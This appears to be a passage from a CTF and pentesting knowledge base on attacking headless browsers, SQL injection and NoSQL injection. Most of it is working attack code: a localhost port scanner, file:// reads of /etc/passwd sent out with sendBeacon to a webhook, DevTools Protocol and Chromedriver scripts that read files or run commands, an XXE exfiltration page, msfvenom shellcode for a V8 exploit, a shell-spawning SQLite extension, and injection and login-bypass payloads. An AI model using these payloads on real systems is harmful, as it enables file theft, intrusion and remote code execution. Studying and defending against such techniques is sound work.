</strong>
<strong>async function foundPort(port) {
</strong><strong>  console.log(`Port ${port} is open!`);
</strong><strong>}
</strong>
async function scanPort(port) {
  await fetch(`http://127.0.0.1:${port}`, { mode: "no-cors" })
    .then(() => foundPort(port))
    .catch((e) => e);

  return port;
}

const processInPool = async (ports, poolSize) => {
  let pool = {};

  for (const id of ports) {
    pool[id] = scanPort(id);

    if (Object.keys(pool).length > poolSize - 1) {
      const promises = Object.values(pool);
      const resolvedId = await Promise.race(promises); // wait for one Promise to finish
      delete pool[resolvedId]; // remove that Promise from the pool
    }
  }

  return await Promise.all(Object.values(pool));
};

processInPool(PORTS, POOL_SIZE).then(() => {
  console.log("Port scanning completed.");
});
</code></pre>

From here, you can try to attack the found ports through the browser, and if you find an XSS, possibly abuse what's explained in [#chromedriver](#chromedriver "mention").

You'll also often see these headless instances running in isolated docker containers. In this case you may be able to connect to other internal docker IPs in the `172.16.0.0/16` range.

### `file://` protocol

#### Firefox Puppeteer same-origin

The Firefox `security.fileuri.strict_origin_policy` preference is set to `false` for both [Puppeteer](https://github.com/puppeteer/puppeteer/blob/9f7488163a6277140440a95015240ef06ce915a5/packages/browsers/src/browser-data/firefox.ts#L384) and [Playwright](https://github.com/microsoft/playwright/blob/80f93258aa5892870cd875079d71cd4a2a181626/browser_patches/firefox/preferences/playwright.cfg#L317). This means:

> Local documents have access to all other local documents, including directory listings.

In other words, the [Same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) that normally prevents `file://A` from reading `file://B` is no longer in effect. Any XSS on a `file://` URI can just fetch other files and even list directories to find paths. For example:

```javascript
const content = await fetch('file:///etc/passwd').then(e => e.text());
navigator.sendBeacon("https://webhook.site/...", content);  // Sends a POST request
```

#### File write XSS

As shared in the [Sourceless challenge during Google CTF 2025](https://gist.github.com/terjanq/4cb40653760c1ba8c33ee06be098d508), there are two main ways of getting a file on the system to achieve XSS from a `file://` origin. The first is to simply trigger an automatic download of a `.html` file (note that this may require HTTPS to prevent a suffix from being added).

```php
<?php
header('Content-Disposition: attachment; filename="exploit.html"');
?>
<script>alert(origin)</script>
```

Which will store it by default to the running user's home directory under the `Downloads/` directory. If the application allows it, you can then visit it through `file:///home/user/Downloads/exploit.html`.

If downloading files is disabled, but a `userDataDir` is set, [IndexedDB](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API) can write raw blobs to the filesystem to a predictable path in *Firefox*:

<pre class="language-javascript"><code class="lang-javascript">const html = `&#x3C;!DOCTYPE html>&#x3C;html>&#x3C;body>
  &#x3C;script>
    (async () => {
<strong>      const content = await fetch('file:///etc/passwd').then(e => e.text());
</strong><strong>      navigator.sendBeacon("https://webhook.site/...", content);
</strong>    })();
  &#x3C;\/script>
`;
const blob = new Blob([html], { type: "text/html" });

(async () => {
  const store = "files";
  const db = await new Promise((resolve, reject) => {
    const request = indexedDB.open("db", 1);
    request.onupgradeneeded = () => request.result.createObjectStore(store);
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
  const tx = db.transaction(store, "readwrite");
  tx.objectStore(store).put(blob, "blob1");
  await tx.done;
  db.close();
})();
</code></pre>

Take the `userDataDir` (for example, `/tmp/firefox-userdata`) and search for your given text:

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript">$ grep -r -F '&#x3C;script>' /tmp/firefox-userdata
<strong>/tmp/firefox-userdata/storage/default/http+++host.docker.internal+8000/idb/548905059db.files/1:  &#x3C;script>
</strong></code></pre>

You can now let the bot visit this path to exploit the vulnerability explained earlier, and receive the contents of `/etc/passwd` in your webhook (note the `+` characters might need to be URL-encoded).

{% code title="URL" overflow="wrap" %}

```
file:///tmp/firefox-userdata/storage/default/http+++host.docker.internal+8000/idb/548905059db.files/1
```

{% endcode %}

## Chrome DevTools Protocol (CDP)

The [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) is for **Remote Debugging** and is a popular choice for automation libraries too. It listens on port 9222 by default to receive commands with which malicious websites can interact somewhat.

### Endpoints

When `google-chrome` is launched with remote debugging enabled, this is usually on port 9222. But it can be changed with the `--remote-debugging-port=` argument when it is started.

When this port is accessible, you can connect to it with the [DevTools HTTP Protocol](https://chromedevtools.github.io/devtools-protocol/#endpoints) in order to make the browser do certain things. You can debug the currently viewed site, meaning reading any data, like HTML, cookies, or other stored data, and execute JavaScript in the console. As well as being able to browse to and **read arbitrary files** on the system.

Get a list of sessions by requesting `/json` endpoint:

{% code title="<http://localhost:9222/json>" %}

```json
[ {
  "description": "",
  "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/DAB7FB6187B554E10B0BD18821265734",
  "id": "DAB7FB6187B554E10B0BD18821265734",
  "title": "Yahoo",
  "type": "page",
  "url": "https://www.yahoo.com/",
  "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/DAB7FB6187B554E10B0BD18821265734"
} ]
```

{% endcode %}

You can then visit the `devtoolsFrontendUrl` in your browser (if `--remote-allow-origins` explicitly allows it) to get a recognizable DevTools GUI that you would get when debugging any site. Here you can do anything DevTools would be able to, like executing JavaScript, reading storage, and browsing the site.

{% hint style="warning" %}
Previously it was possible due to [chrome issue 40090539](https://issuetracker.google.com/issues/40090539) to CSRF the `/json/new?url=` endpoint, but this has been **fixed** since 2022. Now, CORS denies such requests by malicious websites because a `PUT` method is required.

If you're able to execute code in the `localhost:9222` origin somehow, you can still use this to open other protocol's URL such as `chrome://` and `file:///etc/passwd`.
{% endhint %}

### WebSocket

Commands to chrome are sent through the `webSocketDebuggerUrl`, which you can also directly access to have more control, and not be limited by the GUI. One interesting way of abusing this is to first **navigate** to a `file://` URL ([`Page.navigate`](https://chromedevtools.github.io/devtools-protocol/tot/Page/#method-navigate)), and then request the HTML content of the page using JavaScript ([`Runtime.evaluate`](https://chromedevtools.github.io/devtools-protocol/tot/Runtime/#method-evaluate)) to read arbitrary files.

If you find this **port exposed** by a higher-privileged user on a shared system, for example, you can abuse it in Python like so:

```python
from time import sleep
import requests
import websocket
import json

def page_navigate(ws, url):
    payload = {
        "id": 1,
        "method": "Page.navigate",
        "params": {
            "url": url
        }
    }
    ws.send(json.dumps(payload))
    return json.loads(ws.recv())

def get_current_html(ws):
    payload = {
        "id": 2,
        "method": "Runtime.evaluate",
        "params": {
            "expression": "document.documentElement.outerHTML"
        }
    }
    ws.send(json.dumps(payload))
    return json.loads(ws.recv())["result"]["result"]["value"]

targets = requests.get("http://localhost:9222/json").json()
websocket_url = targets[0]["webSocketDebuggerUrl"]

ws = websocket.create_connection(websocket_url)
sleep(1)
print(page_navigate(ws, "file:///etc/passwd"))
sleep(3)
print(get_current_html(ws))
```

If you are somehow able to read the response to a `http://localhost:9222/json` request to get the `webSocketDebuggerUrl`, *and* are allowed to connect to it by your origin inside the `--remote-allow-origins` argument, you can even send such commands using the common [WebSocket API](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API) from a malicious website:

<details>

<summary>CDP WebSocket implementation in JavaScript</summary>

<pre class="language-javascript"><code class="lang-javascript">function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

window.open(); // Open a new window if one doesn't already exist to navigate

(async () => {
  const targets = await fetch("http://localhost:9222/json").then((r) => r.json());
  const websocketUrl = targets[0].webSocketDebuggerUrl;
  // ^^ Or leak URL through any other means
  const ws = new WebSocket(websocketUrl);

  ws.onopen = async () => {
    ws.send(
      JSON.stringify({
        id: 1,
        method: "Page.navigate",
        params: {
          url: "file:///etc/passwd",
        },
      })
    );
    await sleep(1000);

    ws.send(
      JSON.stringify({
        id: 2,
        method: "Runtime.evaluate",
        params: {
          expression: "document.documentElement.outerHTML",
        },
      })
    );

    ws.onmessage = (event) => {
      const response = JSON.parse(event.data);
      if (response.id === 2) {
<strong>        console.log(response.result.result.value);
</strong>        ws.close();
      }
    };
  };
})();
</code></pre>

</details>

## Chromedriver

Chromedriver is another implementation of an instrumentation tool, which by default listens on a random port in the range defined by `/proc/sys/net/ipv4/ip_local_port_range` (32768-60999), often seen with a `--port` argument in the process list. It implements the [W3C WebDriver spec](https://www.w3.org/TR/webdriver2/), which includes a [`POST /session`](https://www.w3.org/TR/webdriver2/#new-session) endpoint.

The vulnerability mentioned in "wont-fix" [issue 40052697](https://issuetracker.google.com/issues/40052697) is that this endpoint allows all `localhost` origins by default. There is no other CSRF protection, as the JSON body doesn't need a valid `Content-Type:` header. It becomes a [CORS Simple Request](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS#simple_requests), which you can send easily using `fetch()`.

The requirement for this is either having **XSS on a localhost origin**, from there you can call this endpoint to spawn a new session with custom `binary` and `args` options that result in RCE:

<pre class="language-html" data-title="rce.html"><code class="lang-html">&#x3C;script>
  const options = {
    mode: "no-cors",
    method: "POST",
    body: JSON.stringify({
      capabilities: {
        alwaysMatch: {
          "goog:chromeOptions": {
            binary: "/usr/local/bin/python",
<strong>            args: ["-c", "__import__('os').system('id > /tmp/pwned')"],
</strong>          },
        },
      },
    }),
  };

  for (let port = 32768; port &#x3C; 61000; port++) {
    fetch(`http://127.0.0.1:${port}/session`, options);
  }
&#x3C;/script>
</code></pre>

If the above `for` loop completes on a localhost origin, you should have seen the command execute by finding the output of `id` inside `/tmp/pwned`.

## CVEs

The following sections describe older vulnerabilities in Chrome that were patched in some recent version, but the bot could still be outdated before any of the mentioned versions. These range from file reads to full on RCEs in some cases.

To easily start any version locally for testing, use the following Docker setup to download a specific major version or a specific one if you find it:

<pre class="language-docker" data-title="Dockerfile"><code class="lang-docker">FROM debian:bullseye-slim

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update &#x26;&#x26; \
    apt-get install -y wget curl jq unzip libnss3 libx11-6 libx11-xcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxi6 libxrandr2 libgbm1 libasound2 libgtk-3-0 &#x26;&#x26; \
    rm -rf /var/lib/apt/lists/*

<strong>ENV VERSION_CONSTRAINT='| startswith("127.")'
</strong># ENV VERSION_CONSTRAINT='=="127.0.6533.119"'

RUN wget -q $(curl -s https://googlechromelabs.github.io/chrome-for-testing/known-good-versions-with-downloads.json | \
    jq -r '[.versions[] | select(.version '"$VERSION_CONSTRAINT"')] | .[-1].downloads.chrome[] | select(.platform == "linux64") | .url') &#x26;&#x26; \
    unzip chrome-linux64.zip &#x26;&#x26; \
    mv chrome-linux64 /opt/chromium &#x26;&#x26; \
    ln -s /opt/chromium/chrome /usr/bin/chromium &#x26;&#x26; \
    rm chrome-linux64.zip

ENTRYPOINT ["chromium", "--no-sandbox", "--no-first-run"]
</code></pre>

From there, you can open up your exploit page to check if it would work against the real target.

### XXE (<= 115)

Researchers at Positive Security (or rather ChatGPT) discovered a logic issue where the XSLT parser could load arbitrary local files:

{% embed url="<https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/>" %}
Writeup of the discovery of CVE-2023-4357
{% endembed %}

An easy test to check if the version is vulnerable by testing various files is provided at the bottom of their writeup. If your target gives you a screenshot or the content in any other way that's displayed in these iframes, you can already leak data visually.

To exploit it in a scenario where you have scripting but no visual response, you can use JavaScript to read the content raw and exfiltrate it to your server:

<pre class="language-html" data-title="xxe.html"><code class="lang-html">&#x3C;body>
  &#x3C;script>
<strong>    const FILENAME = "/etc/passwd";
</strong>
    const xxe = `&#x3C;?xml version="1.0" encoding="UTF-8"?>
&#x3C;!DOCTYPE xxe [ &#x3C;!ENTITY xxe SYSTEM "file://${FILENAME}"> ]>
&#x3C;xxe>
&#x26;xxe;
&#x3C;/xxe>`;
    const xls = `&#x3C;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:user="http://mycompany.com/mynamespace">
&#x3C;xsl:output method="xml"/>
&#x3C;xsl:template match="/">
&#x3C;svg xmlns="http://www.w3.org/2000/svg">
&#x3C;foreignObject width="300" height="600">
&#x3C;div xmlns="http://www.w3.org/1999/xhtml">
&#x3C;xsl:copy-of  select="document('data:,${encodeURIComponent(xxe)}')"/>
&#x3C;/div>
&#x3C;/foreignObject>
&#x3C;/svg>
&#x3C;/xsl:template>
&#x3C;/xsl:stylesheet>`;

    const blob = new Blob(
      [
        `&#x3C;?xml version="1.0" encoding="UTF-8"?>
    &#x3C;?xml-stylesheet type="text/xsl" href="data:text/xml;base64,${btoa(xls)}"?>
    &#x3C;!DOCTYPE svg [
        &#x3C;!ENTITY ent SYSTEM "?" NDATA aaa>
    ]>
    &#x3C;svg location="ent" />`,
      ],
      { type: "image/svg+xml" }
    );
    const url = URL.createObjectURL(blob);
    const w = window.open(url);
    const interval = setInterval(() => {
      if (w.document.readyState === "complete") {
        clearInterval(interval);
        const leak = w.document.querySelector("xxe").innerHTML;
        w.close();
<strong>        navigator.sendBeacon("https://webhook.site/...", leak);
</strong>      }
    }, 1000);
  &#x3C;/script>
&#x3C;/body>
</code></pre>

### JavaScript V8 without sandbox (<= 127)

[V8](https://v8.dev/) is the name of the JavaScript engine in Chromium, and because of its complexity and speed requirements, has had a lot of vulnerabilities involving memory corruption. The scripting nature of JavaScript makes these often easy to exploit because some primitives just need to be built in order to simply script out an attack as you normally would.

One fact that makes headless setups especially more vulnerable is their common use of `--no-sandbox`, because when running as `root` this option is required to make the browser work. You'll even often see this argument added when it's not strictly needed, just because it is so common.\
What you need to know is that it **disables the renderer sandbox**, essentially making any JavaScript that runs arbitrary instructions able to run shellcode on the system. Many exploits do this, but stop at the sandbox, perfect!

We just need to find a public chrome issue with a fully-written PoC, where you can often just substitute the built-in shellcode for anything you need.

{% embed url="<https://jopraveen.github.io/web-hackthebot/>" %}
Article explaining an unintended solution to an XSS challenge using a Chrome V8 exploit
{% endembed %}

The above writeup uses [Chromium issue 365802567](https://issues.chromium.org/issues/365802567) with a downloadable [HTML PoC](https://issues.chromium.org/action/issues/365802567/attachments/59303131?download=false). The code contains a `sc` variable standing for "shellcode", set to a Windows x86-64 `calc.exe` payload. We can change this easily for a Linux system, for example, by compiling new [Shellcode](/binary-exploitation/shellcode):

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>$ msfvenom -p linux/x64/exec CMD='id>/tmp/pwned' -f powershell
</strong>
[Byte[]] $buf = 0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0,0x99,0x50,0x54,0x5f,0x52,0x66,0x68,0x2d,0x63,0x54,0x5e,0x52,0xe8,0xe,0x0,0x0,0x0,0x69,0x64,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x70,0x77,0x6e,0x65,0x64,0x0,0x56,0x57,0x54,0x5e,0x6a,0x3b,0x58,0xf,0x5
</code></pre>

The hex bytes can be copied into the array, replacing the original:

{% code title="rce.html" %}

```diff
- const sc = [0x48, 0x83, 0xe4, 0xf0, 0x55, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x2e, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x15, 0xd7, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0xe8, 0x34, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xc9, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x83, 0xc4, 0x28, 0x5d, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x40, 0x20, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x40, 0x20, 0xc3, 0x53, 0x57, 0x56, 0x41, 0x50, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x30, 0x8b, 0x59, 0x3c, 0x48, 0x01, 0xcb, 0x8b, 0x9b, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xcb, 0x44, 0x8b, 0x43, 0x18, 0x8b, 0x7b, 0x20, 0x48, 0x01, 0xcf, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xc0, 0x4c, 0x39, 0xc6, 0x73, 0x43, 0x8b, 0x0c, 0xb7, 0x48, 0x03, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x54, 0x24, 0x30, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x33, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0, 0x48, 0xff, 0xc6, 0xeb, 0xd4, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x8b, 0x7b, 0x24, 0x48, 0x01, 0xcf, 0x48, 0x0f, 0xb7, 0x34, 0x77, 0x8b, 0x7b, 0x1c, 0x48, 0x01, 0xcf, 0x8b, 0x04, 0xb7, 0x48, 0x01, 0xc8, 0x41, 0x58, 0x5e, 0x5f, 0x5b, 0xc3, 0x53, 0x8a, 0x01, 0x8a, 0x1a, 0x84, 0xc0, 0x74, 0x0c, 0x38, 0xd8, 0x75, 0x08, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc2, 0xeb, 0xec, 0x28, 0xd8, 0x48, 0x0f, 0xbe, 0xc0, 0x5b, 0xc3, 0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, 0x00];
- const cmd = 'calc';
- for (let i = 0; i < cmd.length; i++) {
-   sc.push(cmd.charCodeAt(i));
- }
+ const sc = [0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0,0x99,0x50,0x54,0x5f,0x52,0x66,0x68,0x2d,0x63,0x54,0x5e,0x52,0xe8,0xe,0x0,0x0,0x0,0x69,0x64,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x70,0x77,0x6e,0x65,0x64,0x0,0x56,0x57,0x54,0x5e,0x6a,0x3b,0x58,0xf,0x5];
```

{% endcode %}

All that's left to do now is host it, and let the bot visit the page with malicious JavaScript. This should write the output of `id` to `/tmp/pwned`:

```shell-session
$ docker compose exec -it web cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
```

{% hint style="warning" %}
**Note**: from testing, on some *kernels* this proof of concept doesn't seem to work, and segfault into something involving `SEGV_PKUERR`. I'm not sure why this happens, but if you encounter such a case you may have to try a different issue with a proof of concept.
{% endhint %}


# Server-Side

Attacks that have impact on the server, often by abusing dangerous functionality


# SQL Injection

An infamous and simple attack where code is injected where data should be, rewriting the SQL Query

## SQLMap

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap>" %}

You can run a raw request through `sqlmap` with cookies and POST to find any injection:

```shell-session
sqlmap -r r.txt --batch
```

* `--level=5` tests more inputs, like HTTP headers
* `--risk=3` tests more injection payloads

### XSS/SQLi through SQL Injection

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/intigriti-xss-challenge/intigriti-july-xss-challenge-0722>" %}
Writeup showing XSS through a Second-Order injection (3-in-one)
{% endembed %}

Use `UNION SELECT` statements to alter the returned content on the site, with an XSS payload for example.

{% hint style="info" %}
Also try 'Second-Order' injection, by doing another injection inside of your `UNION` content if not all values can be altered (see the writeup above)
{% endhint %}

### Filter Bypass

Some scenarios where you can bypass character limits using functions or special syntax.\
**`+`** here means supported in more than just the mentioned DB backend.

* Quotes (`'` & `"`) like `"j0r1an"`:
  * Use `0x6a307231616e` in **MySQL**: [CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex\('None',0\)Find_/_Replace\(%7B'option':'Regex','string':'.*'%7D,'0x$%26',false,false,false,false\)\&input=ajByMWFu)
  * Use [`char(106,48,114,49,97,110)`](https://www.sqlite.org/lang_corefunc.html#char) in **SQLite+**: [CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Decimal\('Comma',false\)Find_/_Replace\(%7B'option':'Regex','string':'.*'%7D,'char\($%26\)',false,false,true,true\)\&input=ajByMWFu)

### Custom Wrapper (complex injections)

While most inputs are as simple as a query or body parameter, not all flows are like this. Interactions sometimes require special headers or formatting of the input, or the result of your action might only be visible on a different page. In these scenarios, SQLMap can fall short in its customization because it simply does not support everything.

One clever solution to this is from a case where the hacker had to automate a blind SQL injection over a websocket. These are normally not possible in SQLMap, so you might think you need to create a custom script to extract all data slowly. While this is possible, an easier alternative is to **create a wrapper script** that makes it easy for SQLMap.

{% embed url="<https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html>" %}
Writing a custom wrapper server for SQLMap to make exploitation easier
{% endembed %}

By creating a simple web server with a single query parameter as the payload, you can implement the full interaction in Python and then send back the result to SQLMap. You may do this for any kind of complex interaction with a server like this:

<pre class="language-python" data-title="proxy.py"><code class="lang-python">from flask import Flask, request
import requests

app = Flask(__name__)

def interact(payload):
    print(f"Payload: {payload}")
    # Example complex interaction
<strong>    requests.post("https://example.com/save", json={"input": payload})
</strong><strong>    r = requests.get("https://example.com/get_result")
</strong><strong>    return r.text
</strong>
@app.route('/')
def index():
    payload = request.args.get('id')
    return interact(payload)

if __name__ == '__main__':
    app.run(debug=False)
</code></pre>

Then run your server locally, and target *it* instead of the regular target to proxy the traffic with your custom format and logic:

```bash
sqlmap -u 'http://localhost:5000/?id=1'
```

{% hint style="warning" %}
**Warning**: Performing this technique multiple times may make SQLMap cache results from a previous run because the same localhost URL is used. To ensure it starts completely fresh, clear the session every time using the `--flush-session` argument.
{% endhint %}

## SQLite

Tricks specific to the SQLite database backend.

### RCE through CLI

While looking through the documentation, you might notice functions that seem to have the ability to run arbitrary code on the system. The catch is that these methods are only possible using the `sqlite3` CLI tool by default, only with some very specific configuration will they be available through a normal library that uses the safer C-API behind the scenes.

#### [`load_extension()`](https://www.sqlite.org/lang_corefunc.html#load_extension)

SQLite uses the C-API for all the heavy work, and the CLI as well as libraries are just wrappers over this. The `load_extension()` function is special as it can only be called after calling the `enable_load_extension()` function from the C-API, which is not available in SQL syntax. Fortunately, the **CLI enables this automatically** which means that if we are able to inject code into such a query, we can load extensions.

These extensions are simply compiled C code in the form of `.so` files, with an init function:

<pre class="language-c" data-title="extension.c"><code class="lang-c">#include &#x3C;sqlite3ext.h>
SQLITE_EXTENSION_INIT1

#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>

int sqlite3_extension_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi) {
  SQLITE_EXTENSION_INIT2(pApi);

<strong>  execve("/bin/sh", NULL, NULL);  // Spawn an interactive shell
</strong>
  return SQLITE_OK;
}
</code></pre>

```shell-session
gcc -s -g -fPIC -shared extension.c -o extension.so
```

Then from inside a CLI query, we can call the function with a path to the compiled extension:

<pre class="language-sql"><code class="lang-sql"><strong>sqlite> select load_extension('./extension');
</strong>$ id
uid=1001(user) gid=1001(user) groups=1001(user)
</code></pre>

#### [`edit()`](https://www.sqlite.org/cli.html#the_edit_sql_function)

The CLI also includes an extra special function used for editing data interactively, which allows its 2nd argument to decide what command to run! It is very straightforward to exploit:

<pre class="language-sql"><code class="lang-sql"><strong>sqlite> select edit(1,'id;');
</strong>uid=1001(user) gid=1001(user) groups=1001(user)
sh: 1: temp9385525e2ea5301f: not found
Error: EDITOR returned non-zero
</code></pre>

## Advanced

### Format strings

Even when the code you're looking at seems to be **correctly separating the SQL query from data** by using different arguments and placeholders, the underlying function may be insecurely turning both into a **single string** before it's sent to the database.

One thing that sometimes goes wrong is the ability to **inject placeholders** yourself in your values. An example of this can be found in the article below, where the code would iterate over all values, replacing them one by one. If your value contained a new placeholder the 2nd value would go into there instead by mistake. This confusion was enough to create an exploitable SQL Injection:

{% embed url="<https://blog.lexfo.fr/magento-sqli.html>" %}
Explaining example of a placeholder injection SQL Injection vulnerability (PHP)
{% endembed %}

When the developer uses an insecure combination of manual string concatenation and lets the library for format strings over that, you can once again inject placeholders (like `%s`) into the query.

{% code title="Vulnerable example" %}

```php
$username = strtr($_POST['username'], ['"' => '\\"', '\\' => '\\\\']);
$res = mysql_fquery($mysqli,
    'SELECT * FROM users WHERE username = "' . $username . '" AND password = "%s"',
    [$password]
);
```

{% endcode %}

If the code relies on escaping/removing certain character like `'` to prevent SQL Injections, more complex placeholders like `%c` can turn a number (or a string casted to a number) into a single character through giving it a value with the 2nd input.\
To fix the issue of the format function receiving more placeholders than values, we can make our injected placeholder point to the 1st value specifically so it doesn't increase the total count, using `%1$c`.

* `username`: `%1$c OR 1=1;-- -`
* `password`: `34`

Together, this will turn into the following format string:

```php
$res = mysql_fquery($mysqli,
    'SELECT * FROM users WHERE username = "%1$c OR 1=1;-- -" AND password = "%s"',
    ["34"]
);
```

The `password` value (inside the array) needs to be placed into the format string. `%1$c` is replaced with the 1st element of the array, which is our `"34"` string, but because of the `c` is converted to a *character* from an ASCII number. The 34th character is `"`, which is what it will be replaced with. The last `%s` also get substituted, and because the other format specifier was specific, this will be the first generic one and also take the 1st element of the array (our password).

```sql
SELECT * FROM users WHERE username = "" OR 1=1;-- -" AND password = "34"
```

{% embed url="<https://www.justinsteven.com/posts/2023/09/10/ductf-2023-smooth-jazz-sqli/>" %}
Writeup of the challenge using a novel technique of format strings in PHP
{% endembed %}

This same challenge includes another trick specific to MySQL, **truncating** the input in a SQL query using bytes outside of the ASCII range (0x80-0xff). It can be useful if your injection gets in the way in some other previous query, or in general if there's just a suffix you want to get rid of, when inserting or updating a value.

### PDO parser differentials (PHP)

In a similar situation to the previous, when you combine manual string concatenation with placeholders it can create scenario's where you can inject your own placeholders (like `?`).

{% code title="Vulnerable example" %}

```php
$pdo = new PDO("mysql:host=127.0.0.1;dbname=demo", 'root', '');

$col = '`' . str_replace('`', '``', $_GET['col']) . '`';

$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);
```

{% endcode %}

This alone is not enough to inject arbitrary statements, where the novelty comes in is using the fact that PDO specifically parses the query to find which placeholders are and aren't real, and in which context they are to put the values in. Because what you may not expect is that this `prepare()` method does **not actually use prepared statements** by default!

The writeup below shows a challenge where the solution involved finding a parser bug where a null byte (`%00`) was not recognized and could break the syntax. Check it out to understand in detail:

{% embed url="<https://slcyber.io/assetnote-security-research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/>" %}
Article introducing the technique and its details with examples
{% endembed %}

### Numbers without digits

Often with Blind SQL Injection you want to compare characters in a string to numbers using Binary Search to hone in on the value. In rare situations, however, you may not have the luxury of writing numbers. In these cases you can make use of the automatic casting of *booleans* to numbers when adding or multiplying them.

`true` = 1, and `false` = 0. By adding true to itself `n` times, you get the number `n`, like `(true + true + true)` = 3. This gets repetitive for larger numbers, however, so we can do better by cleverly multiplying to get there.

An implementation of a dynamic programming algorithm is given below to find the most efficient expressions that evaluate to your target number:

<pre class="language-python"><code class="lang-python">def find_expressions(limit):
    """Source: https://chat.openai.com/share/2eb7a5cd-0980-4734-b897-acaf8e546969"""
    if limit == 0:
        return "false"
    if limit == 1:
        return "true"

    # Initialize a list to store the number of operations needed to reach each target
    min_operations = [float('inf')] * (limit + 1)
    min_operations[1] = 0  # Base case

    # Initialize a list to store the expression for each target
    expressions = ["false"] * (limit + 1)
    expressions[1] = "true"

    # Iterate through each number from 2 to target
    for i in range(2, limit + 1):
        # Try addition
        for j in range(1, i):
            if min_operations[j] + min_operations[i - j] + 1 &#x3C; min_operations[i]:
                min_operations[i] = min_operations[j] + \
                    min_operations[i - j] + 1
                expressions[i] = "(" + expressions[j] + \
                    "+" + expressions[i - j] + ")"

        # Try multiplication
        for j in range(2, int(i ** 0.5) + 1):
            if i % j == 0:
                if min_operations[j] + min_operations[i // j] + 1 &#x3C; min_operations[i]:
                    min_operations[i] = min_operations[j] + \
                        min_operations[i // j] + 1
                    expressions[i] = "(" + expressions[j] + \
                        "*" + expressions[i // j] + ")"

    return expressions

if __name__ == "__main__":
<strong>    expressions = find_expressions(256)
</strong><strong>    for c in 'Jorian':
</strong><strong>        print(f"{c} ({ord(c)}): {expressions[ord(c)]}")
</strong></code></pre>

{% code title="Example output" %}

```sql
J (74): ((true+true)*(true+((true+true)*((true+true)*((true+(true+true))*(true+(true+true)))))))
o (111): ((true+(true+true))*(true+((true+true)*((true+true)*((true+(true+true))*(true+(true+true)))))))
r (114): ((true+true)*((true+(true+true))*(true+((true+true)*((true+(true+true))*(true+(true+true)))))))
i (105): ((true+(true+true))*((true+(true+(true+(true+true))))*(true+((true+true)*(true+(true+true))))))
a (97): (true+((true+true)*((true+true)*((true+true)*((true+true)*((true+true)*(true+(true+true))))))))
n (110): ((true+true)*(true+((true+true)*((true+(true+true))*((true+(true+true))*(true+(true+true)))))))
```

{% endcode %}


# NoSQL Injection

NoSQL databases are a type of database where objects are used instead of SQL strings. MongoDB is common but more are vulnerable

While SQL Injection in the traditional sense may not be possible, there are still some new opportunities for vulnerabilities that NoSQL introduces in **MongoDB** (see [#similar-injections](#similar-injections "mention") for different databases). Mainly the ability for the user to specify their own objects in a request, which may make the NoSQL database interpret the request as more than just a string.

Often the goal is to bypass some login screen, by returning an always-true request. Sometimes you want to get more specific records or try to extract data.

## JSON Injection

Pretty often, especially in JavaScript backends, the server accepts JSON as data for API requests. The backend expects a certain simple format, like:

```json
{
  "username": "user",
  "password": "pass",
}
```

But in reality, an attacker can make the values of `username` or `password` any JSON object. This may have interesting results, and for NoSQL, you can create an object like the following:

```json
{
  "username": "admin",
  "password": {
    "$ne": "wrong"
  }
}
```

This creates a query that asks if the password is **not equal** to "wrong", with `$ne`. If there is then a user named "admin" with a different password, it will let you through and return the record of the "admin" user, bypassing the Login screen.

### Forcing JSON

Most websites don't use JSON by default for requests, but some may still accept JSON data if you give it some. To change the content type of your POST data, you can add a `Content-Type` header:

```http
Content-Type: application/json
```

